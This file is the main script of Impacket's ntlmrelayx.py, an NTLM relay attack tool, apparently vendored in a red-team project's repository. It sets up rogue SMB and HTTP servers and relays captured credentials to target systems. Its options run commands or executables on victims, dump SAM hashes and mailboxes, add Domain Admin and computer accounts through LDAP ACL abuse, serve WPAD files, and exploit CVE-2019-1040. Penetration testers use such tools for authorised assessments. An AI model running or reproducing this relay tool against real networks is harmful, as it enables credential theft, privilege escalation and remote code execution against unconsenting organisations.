github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/ntlmrelayx.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Generic NTLM Relay Module 9 # 10 # Authors: 11 # Alberto Solino (@agsolino) 12 # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 13 # 14 # Description: 15 # This module performs the SMB Relay attacks originally discovered 16 # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). 17 # It receives a list of targets and for every connection received it 18 # will choose the next target and try to relay the credentials. Also, if 19 # specified, it will first to try authenticate against the client connecting 20 # to us. 21 # 22 # It is implemented by invoking a SMB and HTTP Server, hooking to a few 23 # functions and then using the specific protocol clients (e.g. SMB, LDAP). 24 # It is supposed to be working on any LM Compatibility level. The only way 25 # to stop this attack is to enforce on the server SPN checks and or signing. 26 # 27 # If the authentication against the targets succeeds, the client authentication 28 # succeeds as well and a valid connection is set against the local smbserver. 29 # It's up to the user to set up the local smbserver functionality. One option 30 # is to set up shares with whatever files you want to so the victim thinks it's 31 # connected to a valid SMB server. All that is done through the smb.conf file or 32 # programmatically. 33 # 34 35 import argparse 36 import sys 37 import logging 38 import cmd 39 try: 40 from urllib.request import ProxyHandler, build_opener, Request 41 except ImportError: 42 from urllib2 import ProxyHandler, build_opener, Request 43 44 import json 45 from threading import Thread 46 47 from impacket import version 48 from impacket.examples import logger 49 from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer 50 from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig 51 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher 52 from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS 53 54 RELAY_SERVERS = [] 55 56 class MiniShell(cmd.Cmd): 57 def __init__(self, relayConfig, threads): 58 cmd.Cmd.__init__(self) 59 60 self.prompt = 'ntlmrelayx> ' 61 self.tid = None 62 self.relayConfig = relayConfig 63 self.intro = 'Type help for list of commands' 64 self.relayThreads = threads 65 self.serversRunning = True 66 67 @staticmethod 68 def printTable(items, header): 69 colLen = [] 70 for i, col in enumerate(header): 71 rowMaxLen = max([len(row[i]) for row in items]) 72 colLen.append(max(rowMaxLen, len(col))) 73 74 outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 75 76 # Print header 77 print(outputFormat.format(*header)) 78 print(' '.join(['-' * itemLen for itemLen in colLen])) 79 80 # And now the rows 81 for row in items: 82 print(outputFormat.format(*row)) 83 84 def emptyline(self): 85 pass 86 87 def do_targets(self, line): 88 for url in self.relayConfig.target.originalTargets: 89 print(url.geturl()) 90 return 91 92 def do_socks(self, line): 93 headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] 94 url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" 95 try: 96 proxy_handler = ProxyHandler({}) 97 opener = build_opener(proxy_handler) 98 response = Request(url) 99 r = opener.open(response) 100 result = r.read() 101 items = json.loads(result) 102 except Exception as e: 103 logging.error("ERROR: %s" % str(e)) 104 else: 105 if len(items) > 0: 106 self.printTable(items, header=headers) 107 else: 108 logging.info('No Relays Available!') 109 110 def do_startservers(self, line): 111 if not self.serversRunning: 112 start_servers(options, self.relayThreads) 113 self.serversRunning = True 114 logging.info('Relay servers started') 115 else: 116 logging.error('Relay servers are already running!') 117 118 def do_stopservers(self, line): 119 if self.serversRunning: 120 stop_servers(self.relayThreads) 121 self.serversRunning = False 122 logging.info('Relay servers stopped') 123 else: 124 logging.error('Relay servers are already stopped!') 125 126 def do_exit(self, line): 127 print("Shutting down, please wait!") 128 return True 129 130 def do_EOF(self, line): 131 return self.do_exit(line) 132 133 def start_servers(options, threads): 134 for server in RELAY_SERVERS: 135 #Set up config 136 c = NTLMRelayxConfig() 137 c.setProtocolClients(PROTOCOL_CLIENTS) 138 c.setRunSocks(options.socks, socksServer) 139 c.setTargets(targetSystem) 140 c.setExeFile(options.e) 141 c.setCommand(options.c) 142 c.setEnumLocalAdmins(options.enum_local_admins) 143 c.setEncoding(codec) 144 c.setMode(mode) 145 c.setAttacks(PROTOCOL_ATTACKS) 146 c.setLootdir(options.lootdir) 147 c.setOutputFile(options.output_file) 148 c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access) 149 c.setMSSQLOptions(options.query) 150 c.setInteractive(options.interactive) 151 c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) 152 c.setIPv6(options.ipv6) 153 c.setWpadOptions(options.wpad_host, options.wpad_auth_num) 154 c.setSMB2Support(options.smb2support) 155 c.setInterfaceIp(options.interface_ip) 156 c.setExploitOptions(options.remove_mic, options.remove_target) 157 158 159 if server is HTTPRelayServer: 160 c.setListeningPort(options.http_port) 161 c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) 162 elif server is SMBRelayServer: 163 c.setListeningPort(options.smb_port) 164 165 #If the redirect option is set, configure the HTTP server to redirect targets to SMB 166 if server is HTTPRelayServer and options.r is not None: 167 c.setMode('REDIRECT') 168 c.setRedirectHost(options.r) 169 170 #Use target randomization if configured and the server is not SMB 171 #SMB server at the moment does not properly store active targets so selecting them randomly will cause issues 172 if server is not SMBRelayServer and options.random: 173 c.setRandomTargets(True) 174 175 s = server(c) 176 s.start() 177 threads.add(s) 178 return c 179 180 def stop_servers(threads): 181 todelete = [] 182 for thread in threads: 183 if isinstance(thread, RELAY_SERVERS): 184 thread.server.shutdown() 185 todelete.append(thread) 186 # Now remove threads from the set 187 for thread in todelete: 188 threads.remove(thread) 189 del thread 190 191 # Process command-line arguments. 192 if __name__ == '__main__': 193 194 # Init the example's logger theme 195 logger.init() 196 print(version.BANNER) 197 #Parse arguments 198 parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " 199 "try to relay that connection to specified target(s) system or the original client") 200 parser._optionals.title = "Main options" 201 202 #Main arguments 203 parser.add_argument("-h","--help", action="help", help='show this help message and exit') 204 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 205 parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, ' 206 'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client') 207 parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 208 'full URL, one per line') 209 parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 210 'automatically (only valid with -tf)') 211 parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead' 212 'of executing a command after a successful relay. This console will listen locally on a ' 213 ' tcp port and can be reached with for example netcat.') 214 215 # Interface address specification 216 parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 217 'bind SMB and HTTP servers',default='') 218 219 serversoptions = parser.add_mutually_exclusive_group() 220 serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') 221 serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') 222 223 parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) 224 parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80) 225 226 parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)') 227 parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') 228 parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 229 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') 230 parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 231 'will be added for ntlm and ntlmv2') 232 parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 233 '"%s"). If errors are detected, run chcp.com at the target, ' 234 'map the result with ' 235 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' 236 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) 237 parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support (experimental!)') 238 parser.add_argument('-socks', action='store_true', default=False, 239 help='Launch a SOCKS proxy for the connection relayed') 240 parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 241 'setting the proxy host to the one supplied.') 242 parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed ' 243 'before serving a WPAD file.') 244 parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') 245 parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') 246 247 #SMB arguments 248 smboptions = parser.add_argument_group("SMB client options") 249 250 smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 251 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') 252 smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 253 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' 254 'directory).') 255 smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') 256 257 #MSSQL arguments 258 mssqloptions = parser.add_argument_group("MSSQL client options") 259 mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' 260 '(can specify multiple)') 261 262 #HTTPS options 263 httpoptions = parser.add_argument_group("HTTP options") 264 httpoptions.add_argument('-machine-account', action='store', required=False, 265 help='Domain machine account to use when interacting with the domain to grab a session key for ' 266 'signing, format is domain/machine_name') 267 httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", 268 help='Domain machine hashes, format is LMHASH:NTHASH') 269 httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 270 httpoptions.add_argument('-remove-target', action='store_true', default=False, 271 help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') 272 273 #LDAP options 274 ldapoptions = parser.add_argument_group("LDAP client options") 275 ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') 276 ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') 277 ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') 278 ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') 279 ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') 280 ldapoptions.add_argument('--add-computer', action='store_true', required=False, help='Attempt to add a new computer account') 281 ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') 282 283 #IMAP options 284 imapoptions = parser.add_argument_group("IMAP client options") 285 imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 286 'If not specified, will search for mails containing "password"') 287 imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') 288 imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 289 'dump all emails') 290 imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' 291 '(0 = unlimited, default: no limit)') 292 293 try: 294 options = parser.parse_args() 295 except Exception as e: 296 logging.error(str(e)) 297 sys.exit(1) 298 299 if options.debug is True: 300 logging.getLogger().setLevel(logging.DEBUG) 301 else: 302 logging.getLogger().setLevel(logging.INFO) 303 logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 304 305 # Let's register the protocol clients we have 306 # ToDo: Do this better somehow 307 from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS 308 from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS 309 310 311 if options.codec is not None: 312 codec = options.codec 313 else: 314 codec = sys.getdefaultencoding() 315 316 if options.target is not None: 317 logging.info("Running in relay mode to single host") 318 mode = 'RELAY' 319 targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) 320 else: 321 if options.tf is not None: 322 #Targetfile specified 323 logging.info("Running in relay mode to hosts in targetfile") 324 targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) 325 mode = 'RELAY' 326 else: 327 logging.info("Running in reflection mode") 328 targetSystem = None 329 mode = 'REFLECTION' 330 331 if not options.no_smb_server: 332 RELAY_SERVERS.append(SMBRelayServer) 333 334 if not options.no_http_server: 335 RELAY_SERVERS.append(HTTPRelayServer) 336 337 if options.r is not None: 338 logging.info("Running HTTP server in redirect mode") 339 340 341 if targetSystem is not None and options.w: 342 watchthread = TargetsFileWatcher(targetSystem) 343 watchthread.start() 344 345 threads = set() 346 socksServer = None 347 if options.socks is True: 348 # Start a SOCKS proxy in the background 349 socksServer = SOCKS() 350 socksServer.daemon_threads = True 351 socks_thread = Thread(target=socksServer.serve_forever) 352 socks_thread.daemon = True 353 socks_thread.start() 354 threads.add(socks_thread) 355 356 c = start_servers(options, threads) 357 358 print("") 359 logging.info("Servers started, waiting for connections") 360 try: 361 if options.socks: 362 shell = MiniShell(c, threads) 363 shell.cmdloop() 364 else: 365 sys.stdin.read() 366 except KeyboardInterrupt: 367 pass 368 else: 369 pass 370 371 if options.socks is True: 372 socksServer.shutdown() 373 del socksServer 374 375 for s in threads: 376 del s 377 378 sys.exit(0)